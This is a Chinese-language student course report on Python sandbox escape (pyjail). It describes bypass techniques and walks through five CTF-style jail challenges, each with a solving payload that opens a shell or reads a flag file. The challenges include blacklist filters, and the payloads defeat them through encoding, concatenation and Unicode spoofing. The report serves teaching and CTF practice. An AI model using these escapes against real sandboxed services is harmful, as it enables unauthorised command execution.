電腦攻防 project2 Python-Sandbox-Escape(Pyjail) = ###### tags: `Course - The Attack and Defense of Computers` ## 小組名單 - 第10組 108502530 曹鈞翔 108502532 丁麒源 108502533 廖宥霖 ## What is Sandbox 沙盒是一種安全機制,為執行中的程式提供隔離環境(e.g. virtual machine, interpreter)。通常是作為一些來源不可信、具破壞力或無法判定程式意圖的程式提供實驗之用(e.g. 未知使用者之輸入)。 沙盒中的所有改動對作業系統不會造成任何損失。通常,這種技術被電腦技術人員廣泛用於測試可能帶毒的程式或是其他的惡意代碼。 ## Python Sandbox Escape Python Sandbox,即以一定的方法模擬 Python 終端,實現用戶對 Python 的使用。 通常會透過檢測特定字串或刪除一些危險的方法來防止用戶做出不安全的操作。 而 Python Sandbox Escape的目標就是繞過模擬的 Python 终端,執行使用者想要的命令。 這類題目在CTF中總稱pyjail,解題者的目標通常是要繞過題目對輸入內容的限制,取得shell或flag的內容 (RCE) ## 攻擊類型 * __\_\_import\_\___ 在python內建的函數中,有一些可以幫助我們執行命令(e.g. import os, platform, timeit) ```python= >>> import os >>> os.system('sh') ``` * __\_\_builtins\_\___ 當無法使用`import`時,我們可以使用`dir(__builtins__)`來獲取內建函數列表(因builtins會自動載入),再通過`__dict__`導入需要的內建函數來達到一樣的效果。 ```python= ! >>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'] >>> __builtins__.__dict__['import']('os') ``` * __class.bases[0].subclasses()__ 當builtins被刪除時使用,因所有class都是繼承object,所以可以在object的subcalss中找到想要的函式。 ```python= ! #可執行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) ``` * __help()__ 在python 交互式終端中,可以使用help()進入到help介面,輸入任意module(如os),接著再輸入!sh就能拿到shell,原理是python會用less印出文件檔。 ![](https://i.imgur.com/rAw8R2X.png) ![](https://i.imgur.com/vpwgTs2.png) * __Black List and Filter__ 系統可能會擋掉`exec`, `open`, `eval`, `import`等字元。可以使用加密的方式繞過檢查(如字串連接或base64編碼)。 ```python= ! >>> import base64 >>> base64.b64encode('__import__') 'X19pbXBvcnRfXw==' >>> base64.b64encode('os') 'b3M=' #配合__builtins__.__dict__使用 >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')) ``` * __Unicode Spoof__ 當ASCII字母無法輸入時,原理是python的identifier只能用ASCII儲存。 ![](https://i.imgur.com/BhPEIG4.png) ## 如何實作 ### 1. ```python= #Your goal is to read ./flag.txt #You can use these payload liked #`__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())` WELCOME = ''' _ ______ _ _ _ _ | | | ____| (_) | | (_) | | |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| | | '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | | | |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | | |_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_| __/ | |___/ ''' print(WELCOME) print("Welcome to the python jail") print("Let's have an beginner jail of calc") print("Enter your expression and I will evaluate it for you.") input_data = input("> ") print('Answer: {}'.format(eval(input_data))) ``` 沒有任何限制的基本題 ```python= __import__('os').system('cat ./flag.txt') ``` ### 2. ```python= #the function of filter will banned some string ',",i,b #it seems banned some payload #Can u escape it?Good luck! def filter(s): not_allowed = set('"\'`ib') return any(c in not_allowed for c in s) WELCOME = ''' _ _ _ _ _ _ _ __ | | (_) (_) (_) | | | | /_ | | |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || | | |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || | |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_| __/ | _/ | |___/ |__/ ''' print(WELCOME) print("Welcome to the python jail") print("Let's have an beginner jail of calc") print("Enter your expression and I will evaluate it for you.") input_data = input("> ") if filter(input_data): print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data))) ``` 這題限制了包含i,b兩個英文子母在內的許多符號,所以import,builtins等方法都無法使用,這時可以考慮使用subclass方法 首先想到的是 ```python= ().__class__.__base__.__subclasses__() ``` 但b會被擋住,於是使用getattr() ```python= getattr(().__class__, '__base__').__subclasses__() ``` 還未解決b的問題,所以要再用chr()串接的方式來繞過他 ```python= getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115) \ +chr(101)+chr(95)+chr(95)).__subclasses__() ``` 後面的__subclasses__也用同樣的方式解決 ```python= getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97) \ +chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95) \ +chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115) \ +chr(115)+chr(101)+chr(115)+chr(95)+chr(95))() ``` 這樣就可以找到object的所有subclass,在其中的倒數第四個class <class 'os.\_wrap_close'>找到我們要的os 接下來就可以用 ```python= ().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh') ``` 進行上述轉換後拿到shell,進而得到flag內容 ### 3. ```python= #the length is be limited less than 13 #it seems banned some payload #Can u escape it?Good luck! WELCOME = ''' _ _ _ _ _ _ _ ___ | | (_) (_) (_) | | | | |__ \ | |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / / | |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_ |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____| __/ | _/ | |___/ |__/ ''' print(WELCOME) print("Welcome to the python jail") print("Let's have an beginner jail of calc") print("Enter your expression and I will evaluate it for you.") input_data = input("> ") if len(input_data)>13: print("Oh hacker!") exit(0) print('Answer: {}'.format(eval(input_data))) ``` 這題有輸入長度的限制不大於13,就不能使用 ```__import__('os').system('sh')```來做,所以我們要在原本input之後再執行一次input。 ```python= >>> eval(input()) ``` 這樣就可以通過長度檢查,並在最後呈現```eval(eval(input()))```來執行輸入的指令,此時再輸入```__import__('os').system('sh')```即可拿到shell。 ### 4. ```python= #!/usr/bin/env python3 import string print("Welcome to my pyjail! pls dont escape") while True: inp = input(">>> ") for n in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz": if n in inp: print("no u") exit() exec(inp) ``` 這題將所有英文字母都放入了黑名單,而python3是可以處理8進制的,例如```__import__('os').system('ls')```轉成8進制後變成```exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")```是可以執行的,但這題不行,說明`import`與`system`還是被擋住了。 所以我們將這兩個字用unicode字符表示,變成斜體字即可。 ```python= #payload "__import__(os).system(cat flag.txt)" __𝘪𝘮𝘱𝘰𝘳𝘵__("\157\163").𝘴𝘺𝘴𝘵𝘦𝘮("\143\141\164\040\146\154\141\147\056\164\170\164") ``` ### 5. ```python= def check_secure(inp): Q____Q = [ 'exec', 'open', 'file', 'execfile', 'import', 'eval', 'input', 'hacker' # and anything you want ] for s in Q____Q: if s in inp: raise Exception("Sorry, '"+ s +"' is not allowed.") while True: try: inp = raw_input("> ") check_secure(inp) ret = None exec "ret=" + inp if ret != None: print ret except Exception, e: print 'Exception:', e ``` 此題有過濾exec, eval, import等字元,所以我們就需要使用`__builtins__`繞過無法使用`import`的限制,而其他字元的限制則通過字串相加的方式繞過。 ```python= #payload >>> __builtins__.__dict__['ex'+'ec']('imp'+'ort os') ``` ### 實作題目出處 https://zhuanlan.zhihu.com/p/578966149 https://xz.aliyun.com/t/9271 https://github.com/splitline/py-sandbox-escape ## 參考資料 https://ctftime.org/task/22891 https://ctf-wiki.org/pwn/sandbox/python/python-sandbox-escape/ https://marketingliveincode.com/classification/technology/14 https://github.com/splitline/py-sandbox-escape https://my.oschina.net/u/4350321/blog/3801877 https://zhuanlan.zhihu.com/p/578966149 https://xz.aliyun.com/t/9271